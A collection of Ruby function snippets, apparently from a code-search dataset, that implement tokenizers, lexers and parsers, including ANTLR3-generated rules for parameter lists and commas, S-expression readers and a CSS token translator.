"def get_token\n return nil if @token_index >= @arguments.size\n\n begin\n case chr(@arguments[@token_index])\n when \"[\"\n return \"statement\", gen_substatement\n\n when \"]\"\n return \"]\"\n\n when \"(\"\n return \"(\", \"(\"\n\n when \")\"\n return \")\", \")\"\n\n when \"n\"\n if (chr(@arguments[@token_index + 1]) == \"o\") && (chr(@arguments[@token_index + 2]) == \"t\") && ((chr(@arguments[@token_index + 3]) == \" \") || (chr(@arguments[@token_index + 3]) == \"(\"))\n @token_index += 2\n return \"not\", \"not\"\n else\n gen_statement\n end\n\n when \"!\"\n return \"not\", \"not\"\n\n when \"a\"\n if (chr(@arguments[@token_index + 1]) == \"n\") && (chr(@arguments[@token_index + 2]) == \"d\") && ((chr(@arguments[@token_index + 3]) == \" \") || (chr(@arguments[@token_index + 3]) == \"(\"))\n @token_index += 2\n return \"and\", \"and\"\n else\n gen_statement\n end\n\n when \"&\"\n if chr(@arguments[@token_index + 1]) == \"&\"\n @token_index += 1\n return \"and\", \"and\"\n else\n gen_statement\n end\n\n when \"o\"\n if (chr(@arguments[@token_index + 1]) == \"r\") && ((chr(@arguments[@token_index + 2]) == \" \") || (chr(@arguments[@token_index + 2]) == \"(\"))\n @token_index += 1\n return \"or\", \"or\"\n else\n gen_statement\n end\n\n when \"|\"\n if chr(@arguments[@token_index + 1]) == \"|\"\n @token_index += 1\n return \"or\", \"or\"\n else\n gen_statement\n end\n\n when \"+\"\n value = \"\"\n i = @token_index + 1\n\n begin\n value += chr(@arguments[i])\n i += 1\n end until (i >= @arguments.size) || (chr(@arguments[i]) =~ /\\s|\\)/)\n\n @token_index = i - 1\n return \"+\", value\n\n when \"-\"\n value = \"\"\n i = @token_index + 1\n\n begin\n value += chr(@arguments[i])\n i += 1\n end until (i >= @arguments.size) || (chr(@arguments[i]) =~ /\\s|\\)/)\n\n @token_index = i - 1\n return \"-\", value\n\n when \" \"\n return \" \", \" \"\n\n else\n gen_statement\n end\n end\n rescue NoMethodError\n raise \"Error. Expression cannot be parsed.\"\n end",
"def parse_tail(tok)\n\t\tif tok.size == 0\n\t\t\traise SyntaxError, 'EOF unexpected'\n\t\tend\n\t\tfirst_tok = tok.delete_at(0)\n\t\tif '(' == first_tok\n\t\t\tx = []\n\t\t\twhile tok[0] != ')'\n\t\t\t\tx << parse_tail(tok)\n\t\t\tend\n\t\t\ttok.delete_at(0)\n\t\t\treturn x\n\t\telsif ')' == first_tok\n\t\t\traise SyntaxError, '\\')\\' unexpected'\n\t\telse\n\t\t \treturn convert_tok(first_tok)\n\t\tend\n\tend",
"def argument_list\n recursive_expression(:identifier, :comma)\n end",
"def parameters\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 8 )\n\n begin\n # at line 501:5: parameter ( ',' parameter )*\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_486 )\n parameter\n @state.following.pop\n # at line 501:15: ( ',' parameter )*\n while true # decision 16\n alt_16 = 2\n look_16_0 = @input.peek( 1 )\n\n if ( look_16_0 == T__34 )\n alt_16 = 1\n\n end\n case alt_16\n when 1\n # at line 501:16: ',' parameter\n match( T__34, TOKENS_FOLLOWING_T__34_IN_parameters_489 )\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_491 )\n parameter\n @state.following.pop\n\n else\n break # out of loop for decision 16\n end\n end # loop for decision 16\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 8 )\n\n end\n \n return \n end",
"def parse_arguments\n args_list = []\n\n expect(:L_PARANTH)\n\n args_list = parse_expression_list unless peek?(:R_PARANTH)\n\n expect(:R_PARANTH)\n\n args_list\n end",
"def tokenize(node)\n case Array(node)[0]\n when :module\n name = node[1]\n [ :module, name, node.comments, tokenize(node[2..-1]) ]\n when :class\n name = node[1]\n [ :class, name, node.comments, tokenize(node[3..-1]) ]\n when :defn\n name = node[1]\n args = args_for_node(node[2])\n [ :imethod, name, node.comments, args ]\n when :defs\n name = node[2]\n args = args_for_node(node[3])\n [ :cmethod, name, node.comments, args ]\n when :block\n tokenize(node[1..-1])\n when :scope\n tokenize(node[1])\n when Array\n node.map { |n| tokenize(n) }.compact\n end\n end",
"def get_valid_tokens(type, opts={})\n candidates = token_tuples(type)\n valid_tokens(type, candidates, opts)\nend",
"def comma\n match(Token.new(:symbol, ','))\n end",
"def parameters\n @ast.parameters.map { |p| as_java_type(p.type) }\n end",
"def scan_for_commas(token); end",
"def op_tokenize (p_token, lineno, pos)\n\n\tcase p_token\n\twhen \"=\"\n\t\treturn Token.new(\"T_ASSIGNMENT\", p_token, lineno, pos)\n\twhen \"{\"\n\t\treturn Token.new(\"T_LBRACE\", p_token, lineno, pos)\n\twhen \"}\"\n\t\treturn Token.new(\"T_RBRACE\", p_token, lineno, pos)\n\twhen \"(\"\n\t\treturn Token.new(\"T_LPAREN\", p_token, lineno, pos)\n\twhen \")\"\n\t\treturn Token.new(\"T_RPAREN\", p_token, lineno, pos)\n\twhen \"\\\"\"\n\t\treturn Token.new(\"T_QUOTE\", p_token, lineno, pos)\n\twhen \"==\"\n\t\treturn Token.new(\"T_BOOLOP\", p_token, lineno, pos)\n\twhen \"!=\"\n\t\treturn Token.new(\"T_BOOLOP\", p_token, lineno, pos)\n\twhen \"+\"\n\t\treturn Token.new(\"T_PLUS\", p_token, lineno, pos)\n\twhen \"$\"\n\t\treturn Token.new(\"T_EOFSIGN\", p_token, lineno, pos)\n\telse\n\t\traise UnknownSymbolError.new(p_token, lineno, pos)\n\tend\nend",
"def parse_symbol_arg_paren no # :nodoc:\n args = []\n\n loop do\n skip_tkspace_comment\n if tk1 = parse_symbol_in_arg\n args.push tk1\n break if no and args.size >= no\n end\n\n skip_tkspace_comment\n case (tk2 = get_tk)[:kind]\n when :on_rparen\n break\n when :on_comma\n else\n warn(\"unexpected token: '#{tk2.inspect}'\") if $DEBUG_RDOC\n break\n end\n end\n\n args\n end",
"def parameters\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 31 )\n return_value = ParametersReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n __PARAMS259__ = nil\n parameter260 = nil\n\n tree_for_PARAMS259 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 215:5: ^( PARAMS ( parameter )* )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __PARAMS259__ = match( PARAMS, TOKENS_FOLLOWING_PARAMS_IN_parameters_1582 )\n\n tree_for_PARAMS259 = @adaptor.copy_node( __PARAMS259__ )\n\n root_1 = @adaptor.become_root( tree_for_PARAMS259, root_1 )\n\n\n\n if @input.peek == DOWN\n match( DOWN, nil )\n # at line 215:15: ( parameter )*\n while true # decision 35\n alt_35 = 2\n look_35_0 = @input.peek( 1 )\n\n if ( look_35_0 == ASGN || look_35_0 == SPLAT || look_35_0 == ID )\n alt_35 = 1\n\n end\n case alt_35\n when 1\n # at line 215:15: parameter\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_1584 )\n parameter260 = parameter\n @state.following.pop\n\n @adaptor.add_child( root_1, parameter260.tree )\n\n\n else\n break # out of loop for decision 35\n end\n end # loop for decision 35\n\n match( UP, nil )\n end\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 31 )\n\n end\n \n return return_value\n end",
"def read_from_tokens(tokens)\n raise SyntaxError, 'unexpected EOF while reading' if tokens.size == 0\n token = tokens.shift\n if '(' == token\n sexp = []\n sexp.push(read_from_tokens(tokens)) while tokens.first != ')'\n tokens.shift # remove the ')'\n return sexp\n elsif ')' == token\n raise SyntaxError, 'unexpected )'\n else\n return atom(token)\n end\nend",
"def next_token\n\n token = nil\n\n until ss.eos? or token do\n token =\n case state\n when nil then\n case\n when ss.skip(/\\s+/) then\n # do nothing\n when ss.skip(/:(#{SYMBOL_NAME})/o) then\n action { emit :tSYMBOL, &:to_sym }\n when ss.skip(/\"(.+?)\"/) then\n action { emit :tSTRING }\n when ss.skip(/[-+]?\\d+\\.\\d+/) then\n action { emit :tNUMBER, &:to_f }\n when ss.skip(/[-+]?\\d+/) then\n action { emit :tNUMBER, &:to_i }\n when ss.skip(/#{Regexp.union(\n %w\"( ) { | } [ ] < > $ ! ^ ` ... + * ? ,\"\n )}/o) then\n action { emit ss.matched, &:to_sym }\n when ss.skip(/#{REGEXP}/o) then\n action { emit_regexp }\n when ss.skip(/%?(#{CONST_NAME})/o) then\n action { emit :tPARAM_CONST }\n when ss.skip(/%([a-z_]+)/) then\n action { emit :tPARAM_NAMED }\n when ss.skip(/%(\\d*)/) then\n action { emit(:tPARAM_NUMBER) { |s| s.empty? ? 1 : s.to_i } } # Map `%` to `%1`\n when ss.skip(/_(#{IDENTIFIER})/o) then\n action { emit :tUNIFY }\n when ss.skip(/_/o) then\n action { emit :tWILDCARD }\n when ss.skip(/\\#(#{CALL})/o) then\n action { @state = :ARG; emit :tFUNCTION_CALL, &:to_sym }\n when ss.skip(/#{IDENTIFIER}\\?/o) then\n action { @state = :ARG; emit :tPREDICATE, &:to_sym }\n when ss.skip(/#{NODE_TYPE}/o) then\n action { emit :tNODE_TYPE, &:to_sym }\n when ss.skip(/\\#.*/) then\n action { emit_comment }\n else\n text = ss.string[ss.pos .. -1]\n raise ScanError, \"can not match (#{state.inspect}) at #{location}: '#{text}'\"\n end\n when :ARG then\n case\n when ss.skip(/\\(/) then\n action { @state = nil; emit :tARG_LIST }\n when ss.skip(//) then\n action { @state = nil }\n else\n text = ss.string[ss.pos .. -1]\n raise ScanError, \"can not match (#{state.inspect}) at #{location}: '#{text}'\"\n end\n else\n raise ScanError, \"undefined state at #{location}: '#{state}'\"\n end # token = case state\n\n next unless token # allow functions to trigger redo w/ nil\n end # while\n\n raise LexerError, \"bad lexical result at #{location}: #{token.inspect}\" unless\n token.nil? || (Array === token && token.size >= 2)\n\n # auto-switch state\n self.state = token.last if token && token.first == :state\n\n token\n end",
"def tokens_rpn\n output = []\n operators = []\n\n @tokens.each do |token|\n case token.type\n when :value\n output.push(token)\n when :operator\n if operators.any? && token.lexeme.precedence >= operators.last.lexeme.precedence\n output.push(operators.pop)\n end\n\n operators.push(token)\n end\n end\n\n output.concat(operators.reverse)\n end",
"def eval_parens(tokens, current_pos)\n paren_count = 1\n start_sub = current_pos + 1\n while paren_count != 0\n current_pos += 1\n case tokens[current_pos]\n when '('\n paren_count += 1\n when ')'\n paren_count -= 1\n end\n end\n return eval_tokens(tokens[start_sub...current_pos]), current_pos\nend",
"def comma!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 43 )\n\n type = COMMA\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 368:9: ','\n match( 0x2c )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 43 )\n\n end",
"def parse(tokens)\n if tokens.length == 1\n tokens[0]\n elsif tokens.length > 2\n [\n tokens[1],\n [ tokens[0], parse(tokens[2..-1]) ]\n ]\n else\n raise RuntimeError, \"Fucked Tokens\"\n end\n end",
"def parameter\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 32 )\n return_value = ParameterReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n __SPLAT261__ = nil\n __ID262__ = nil\n char_literal263 = nil\n __ID264__ = nil\n __ID266__ = nil\n expression265 = nil\n\n tree_for_SPLAT261 = nil\n tree_for_ID262 = nil\n tree_for_char_literal263 = nil\n tree_for_ID264 = nil\n tree_for_ID266 = nil\n\n begin\n # at line 219:3: ( ^( SPLAT ID ) | ^( '=' ID expression ) | ID )\n alt_36 = 3\n case look_36 = @input.peek( 1 )\n when SPLAT then alt_36 = 1\n when ASGN then alt_36 = 2\n when ID then alt_36 = 3\n else\n raise NoViableAlternative( \"\", 36, 0 )\n end\n case alt_36\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 219:5: ^( SPLAT ID )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __SPLAT261__ = match( SPLAT, TOKENS_FOLLOWING_SPLAT_IN_parameter_1602 )\n\n tree_for_SPLAT261 = @adaptor.copy_node( __SPLAT261__ )\n\n root_1 = @adaptor.become_root( tree_for_SPLAT261, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n __ID262__ = match( ID, TOKENS_FOLLOWING_ID_IN_parameter_1604 )\n\n tree_for_ID262 = @adaptor.copy_node( __ID262__ )\n\n @adaptor.add_child( root_1, tree_for_ID262 )\n\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 2\n root_0 = @adaptor.create_flat_list\n\n\n # at line 220:5: ^( '=' ID expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal263 = match( ASGN, TOKENS_FOLLOWING_ASGN_IN_parameter_1614 )\n\n tree_for_char_literal263 = @adaptor.copy_node( char_literal263 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal263, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n __ID264__ = match( ID, TOKENS_FOLLOWING_ID_IN_parameter_1616 )\n\n tree_for_ID264 = @adaptor.copy_node( __ID264__ )\n\n @adaptor.add_child( root_1, tree_for_ID264 )\n\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_parameter_1618 )\n expression265 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression265.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 3\n root_0 = @adaptor.create_flat_list\n\n\n # at line 221:5: ID\n _last = @input.look\n __ID266__ = match( ID, TOKENS_FOLLOWING_ID_IN_parameter_1626 )\n\n tree_for_ID266 = @adaptor.copy_node( __ID266__ )\n\n @adaptor.add_child( root_0, tree_for_ID266 )\n\n\n\n end\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 32 )\n\n end\n \n return return_value\n end",
"def comma!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 30 )\n\n type = COMMA\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 151:9: ','\n match( 0x2c )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 30 )\n\n end",
"def tokenize(content, ptype = T.unsafe(nil)); end",
"def lex_line\n @chunks = @line.scan(/#{BRACKET_RE}|#{DATE_RE}|#{MOD_RE}|#{ATTR_REGEX}|#{OTHER_RE}/).chunk do |seg|\n case seg\n when BRACKET_RE then :bracket\n when MOD_RE then :modifier\n when DATE_RE then :date\n when ATTR_REGEX then :attr\n when OTHER_RE then :other\n else :error\n end\n end.to_a\n # it should be impossible to encounter errors, but cry if they happen\n check_for_errors\n @chunks\n end",
"def tokenize_logarithm(_chunk)\n argument = @stack.pop\n validate_numeric_parameter argument\n\n base = @stack.last\n raise Errors::InvalidLogParameterParticle, base.particle unless base.particle == 'を'\n validate_numeric_parameter @stack[-1], @stack[-2]\n\n # Not actually a \"valid\" particle as far as Snapdragon is concerned...\n @stack << Token.new(Token::PARAMETER, argument.content, particle: 'の', sub_type: argument.sub_type)\n (@stack << Token.new(Token::LOGARITHM)).last\n end",
"def scan_for_t(token); end",
"def parse_parameters(raw)\n ret = Array.new\n i = 0\n while raw.size > 0\n case raw[0]\n when 'Z', 'B', 'C', 'S', 'F', 'I', 'D', 'J'\n ret[i] = ['P']\n i += 1\n raw = raw[1..-1]\n when 'L'\n t = raw.index(';')\n ret[i] = ['L', raw[1..t-1]]\n i += 1\n raw = raw[t+1..-1]\n if raw.size == 0\n return ret\n end\n when '['\n if raw[1] == 'L'\n t = raw.index(';')\n ret[i] = ['L', raw[2..t-1]]\n i += 1\n raw = raw[t+1..-1]\n else\n ret[i] = ['P']\n i += 1\n raw = raw[2..-1]\n end\n end\n end\n return ret\nend",
"def defined_type_indexes\n @defined_type_indexes ||= Proc.new do\n result = []\n tokens.each_index do |token_idx|\n if tokens[token_idx].type == :DEFINE\n depth = 0\n in_params = false\n tokens[token_idx+1..-1].each_index do |define_token_idx|\n idx = define_token_idx + token_idx + 1\n if tokens[idx].type == :LPAREN\n in_params = true\n elsif tokens[idx].type == :RPAREN\n in_params = false\n elsif tokens[idx].type == :LBRACE\n depth += 1 unless in_params\n elsif tokens[idx].type == :RBRACE\n depth -= 1 unless in_params\n if depth == 0 && ! in_params\n result << {:start => token_idx, :end => idx}\n break\n end\n end\n end\n end\n end\n result\n end.call\n end",
"def iteration_parameters\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 73 )\n return_value = IterationParametersReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal352 = nil\n char_literal354 = nil\n parameters353 = nil\n\n tree_for_char_literal352 = nil\n tree_for_char_literal354 = nil\n stream_PIPE = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token PIPE\" )\n stream_parameters = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule parameters\" )\n begin\n # at line 737:3: ( '|' ( parameters )? '|' -> ^( PARAMS ( parameters )? ) | -> ^( PARAMS ) )\n alt_90 = 2\n look_90_0 = @input.peek( 1 )\n\n if ( look_90_0 == PIPE )\n alt_90 = 1\n elsif ( look_90_0 == GENERAL || look_90_0 == GET || look_90_0 == ARROW || look_90_0 == IF || look_90_0 == REGEX || look_90_0 == INCR || look_90_0 == BREAK || look_90_0 == RETURN || look_90_0 == IS_DEFINED || look_90_0 == LBRACE || look_90_0 == LBRACK || look_90_0.between?( SEMI, CONST ) || look_90_0.between?( SET, LET ) || look_90_0 == DDOC || look_90_0.between?( DECR, LPAREN ) || look_90_0 == DELETE || look_90_0.between?( DGENERAL, DO ) || look_90_0 == THROW || look_90_0 == TILDE || look_90_0 == TRUE || look_90_0 == TRY || look_90_0.between?( TYPEOF, NEW ) || look_90_0.between?( EACH, UNDEFINED ) || look_90_0.between?( NULL, UNLESS ) || look_90_0 == UNTIL || look_90_0 == FALSE || look_90_0 == VAR || look_90_0.between?( VOID, FOR ) || look_90_0 == WHILE || look_90_0.between?( WITH, YIELD ) || look_90_0.between?( IS_UNDEFINED, DOC ) || look_90_0.between?( T__148, T__150 ) )\n alt_90 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 90, 0 )\n end\n case alt_90\n when 1\n # at line 737:5: '|' ( parameters )? '|'\n char_literal352 = match( PIPE, TOKENS_FOLLOWING_PIPE_IN_iteration_parameters_5207 )\n if @state.backtracking == 0\n stream_PIPE.add( char_literal352 )\n end\n # at line 737:9: ( parameters )?\n alt_89 = 2\n look_89_0 = @input.peek( 1 )\n\n if ( look_89_0 == GET || look_89_0 == SET || look_89_0 == STAR || look_89_0 == MACRO || look_89_0 == EACH || look_89_0.between?( DEF, OBJECT_DEF ) || look_89_0 == ID || look_89_0.between?( T__148, T__150 ) )\n alt_89 = 1\n end\n case alt_89\n when 1\n # at line 737:9: parameters\n @state.following.push( TOKENS_FOLLOWING_parameters_IN_iteration_parameters_5209 )\n parameters353 = parameters\n @state.following.pop\n if @state.backtracking == 0\n stream_parameters.add( parameters353.tree )\n end\n\n end\n char_literal354 = match( PIPE, TOKENS_FOLLOWING_PIPE_IN_iteration_parameters_5212 )\n if @state.backtracking == 0\n stream_PIPE.add( char_literal354 )\n end\n # AST Rewrite\n # elements: parameters\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 737:25: -> ^( PARAMS ( parameters )? )\n # at line 737:28: ^( PARAMS ( parameters )? )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create_from_type( PARAMS, \"PARAMS\" ), root_1 )\n\n # at line 737:38: ( parameters )?\n if stream_parameters.has_next?\n @adaptor.add_child( root_1, stream_parameters.next_tree )\n\n end\n\n stream_parameters.reset();\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 738:5: \n # AST Rewrite\n # elements: \n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 738:5: -> ^( PARAMS )\n # at line 738:8: ^( PARAMS )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create_from_type( PARAMS, \"PARAMS\" ), root_1 )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 73 )\n\n end\n \n return return_value\n end",
"def parseValuedParam(param)\n re = /(?<type>\\w+)([:,](?<value>\\d+))?/\n values = re.match(param)\n if values\n [values[:type], values[:value].to_i]\n else\n [nil, nil]\n end\nend",
"def translate_tokens(tokens)\n return [] if tokens.nil?\n\n translated = []\n tokens = [tokens] unless tokens.is_a?(Array)\n\n tokens.each do |token|\n value = token[:value]\n\n result = case token[:node]\n\n # Rules and declarations.\n when :at_rule\n ['at-rule', token[:name], translate_tokens(token[:prelude]), token[:block] ? translate_tokens(token[:block]) : nil]\n\n when :qualified_rule\n ['qualified rule', translate_tokens(token[:prelude]), token[:block] ? translate_tokens(token[:block]) : nil]\n\n when :declaration\n ['declaration', token[:name], translate_tokens(value), token[:important]]\n\n # Component values.\n when :at_keyword\n ['at-keyword', value]\n\n when :bad_string\n ['error', 'bad-string']\n\n when :bad_url\n ['error', 'bad-url']\n\n when :cdc\n '-->'\n\n when :cdo\n '<!--'\n\n when :colon\n ':'\n\n when :column\n '||'\n\n when :comma\n ','\n\n when :dash_match\n '|='\n\n when :delim\n value\n\n when :dimension\n ['dimension', token[:repr], value, token[:type].to_s, token[:unit]]\n\n when :error\n ['error', value]\n\n when :function\n if token[:name]\n ['function', token[:name]].concat(translate_tokens(value))\n else\n ['function', value]\n end\n\n when :hash\n ['hash', value, token[:type].to_s]\n\n when :ident\n ['ident', value]\n\n when :include_match\n '~='\n\n when :number\n ['number', token[:repr], value, token[:type].to_s]\n\n when :percentage\n ['percentage', token[:repr], value, token[:type].to_s]\n\n when :prefix_match\n '^='\n\n when :semicolon\n ';'\n\n when :simple_block\n [token[:start] + token[:end]].concat(translate_tokens(value))\n\n when :string\n ['string', value]\n\n when :substring_match\n '*='\n\n when :suffix_match\n '$='\n\n when :unicode_range\n ['unicode-range', token[:start], token[:end]]\n\n when :url\n ['url', value]\n\n when :whitespace\n ' '\n\n when :'}', :']', :')'\n ['error', token[:node].to_s]\n\n else\n nil\n end\n\n translated << result unless result.nil?\n end\n\n translated\nend",
"def comma!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 36 )\n\n\n\n type = COMMA\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 57:8: ','\n match( 0x2c )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 36 )\n\n\n end",
"def expr_list_tail\n if @enum.peek.value == ','\n @instruction.push(@enum.peek.value)\n comma\n expression\n expr_list_tail\n end\n end",
"def next_token\n return if @scanner.eos?\n\n if @scanner.scan(SKIP_PATTERN)\n @column += @scanner[:before].length\n\n new_lines = @scanner[:new_line].delete(\"\\r\")\n unless new_lines.empty?\n @lineno += new_lines.length\n @column = 0\n end\n\n @column += @scanner[:after].length\n end\n\n token =\n case\n when try_match(REFERENCE_PATTERN)\n Token.new :REFERENCE, @scanner[:identifier], @lineno, @column\n when try_match(PATH_PATTERN)\n Token.new :PATH, @scanner[:identifier], @lineno, @column\n when try_match(FILTER_PATTERN) && @scanner.check(OPEN_PAREN_PATTERN)\n Token.new :FILTER, \"?\", @lineno, @column\n when try_match(OPEN_BRACKET_PATTERN)\n @state_stack.push Token.new :OPEN_BRACKET, \"[\", @lineno, @column\n @state_stack.last\n when try_match(OPEN_PAREN_PATTERN)\n @state_stack.push Token.new :OPEN_PAREN, \"(\", @lineno, @column\n @state_stack.last\n when try_match(CLOSE_BRACKET_PATTERN)\n last = @state_stack.pop\n unless last\n raise TokenizeError.unexpected(\"]\", @lineno, @column)\n end\n unless last.type == :OPEN_BRACKET\n raise TokenizeError.unbalanced(\"[\", last.lineno, last.column)\n end\n Token.new :CLOSE_BRACKET, \"]\", @lineno, @column\n when try_match(CLOSE_PAREN_PATTERN)\n last = @state_stack.pop\n unless last\n raise TokenizeError.unexpected(\")\", @lineno, @column)\n end\n unless last.type == :OPEN_PAREN\n raise TokenizeError.unbalanced(\"(\", last.lineno, last.column)\n end\n Token.new :CLOSE_PAREN, \")\", @lineno, @column\n when try_match(SELF_PATTERN)\n Token.new :SELF, \"@\", @lineno, @column\n when try_match(NUMBER_PATTERN)\n Token.new :NUMBER, BigDecimal.new(@last_captured), @lineno, @column\n when try_match(STRING_PATTERN)\n Token.new :STRING, @scanner[:str], @lineno, @column\n when try_match(TRUE_PATTERN)\n Token.new :BOOLEAN, true, @lineno, @column\n when try_match(FALSE_PATTERN)\n Token.new :BOOLEAN, false, @lineno, @column\n when try_match(COLON_PATTERN)\n Token.new :COLON, \":\", @lineno, @column\n when try_match(COMMA_PATTERN)\n Token.new :COMMA, \",\", @lineno, @column\n when try_match(ADD_PATTERN)\n Token.new :ADD, \"+\", @lineno, @column\n when try_match(SUBTRACT_PATTERN)\n case @tokens.last&.type\n when nil, :OPEN_PAREN, :OPEN_BRACKET, :COMMA, :COLON, :POW, :MOD, :ADD, :SUBTRACT, :MULTIPLY, :DIVIDE\n if @scanner.check(NUMBER_PATTERN) ||\n @scanner.check(REFERENCE_PATTERN) ||\n @scanner.check(SUBTRACT_PATTERN) ||\n @scanner.check(OPEN_PAREN_PATTERN)\n Token.new :UMINUS, \"-\", @lineno, @column\n else\n raise TokenizeError.unexpected(\"-\", @lineno, @column)\n end\n else\n Token.new :SUBTRACT, \"-\", @lineno, @column\n end\n when try_match(MULTIPLY_PATTERN)\n Token.new :MULTIPLY, \"*\", @lineno, @column\n when try_match(DIVIDE_PATTERN)\n Token.new :DIVIDE, \"/\", @lineno, @column\n when try_match(POW_PATTERN)\n Token.new :POW, \"^\", @lineno, @column\n when try_match(MOD_PATTERN)\n Token.new :MOD, \"%\", @lineno, @column\n when try_match(EQUAL_TO_PATTERN)\n Token.new :EQUAL_TO, \"==\", @lineno, @column\n when try_match(NOT_EQUAL_TO_PATTERN)\n Token.new :NOT_EQUAL_TO, \"!=\", @lineno, @column\n when try_match(GREATER_THAN_OR_EQUAL_TO_PATTERN)\n Token.new :GREATER_THAN_OR_EQUAL_TO, \">=\", @lineno, @column\n when try_match(GREATER_THAN_PATTERN)\n Token.new :GREATER_THAN, \">\", @lineno, @column\n when try_match(LESS_THAN_OR_EQUAL_TO_PATTERN)\n Token.new :LESS_THAN_OR_EQUAL_TO, \"<=\", @lineno, @column\n when try_match(LESS_THAN_PATTERN)\n Token.new :LESS_THAN, \"<\", @lineno, @column\n when try_match(AND_PATTERN)\n Token.new :AND, \"&&\", @lineno, @column\n when try_match(OR_PATTERN)\n Token.new :OR, \"||\", @lineno, @column\n when try_match(NOT_PATTERN)\n Token.new :NOT, \"!\", @lineno, @column\n when try_match(INTERSECT_PATTERN)\n Token.new :INTERSECT, \"&\", @lineno, @column\n when try_match(UNION_PATTERN)\n Token.new :UNION, \"|\", @lineno, @column\n when try_match(IDENTIFIER_PATTERN) && @scanner.check(OPEN_PAREN_PATTERN)\n unless @scanner.check(OPEN_PAREN_PATTERN)\n raise TokenizeError.unexpected(@scanner.peek(7), @lineno, @column)\n end\n Token.new :FUNCTION, @last_captured, @lineno, @column\n else\n raise TokenizeError.unexpected(@scanner.peek(7), @lineno, @column)\n end\n\n @column += @last_captured.length\n @tokens << token\n\n token\n end",
"def do_parse\n while token = next_token do\n type, *vals = token\n\n send \"lex_#{type}\", *vals\n end\n end",
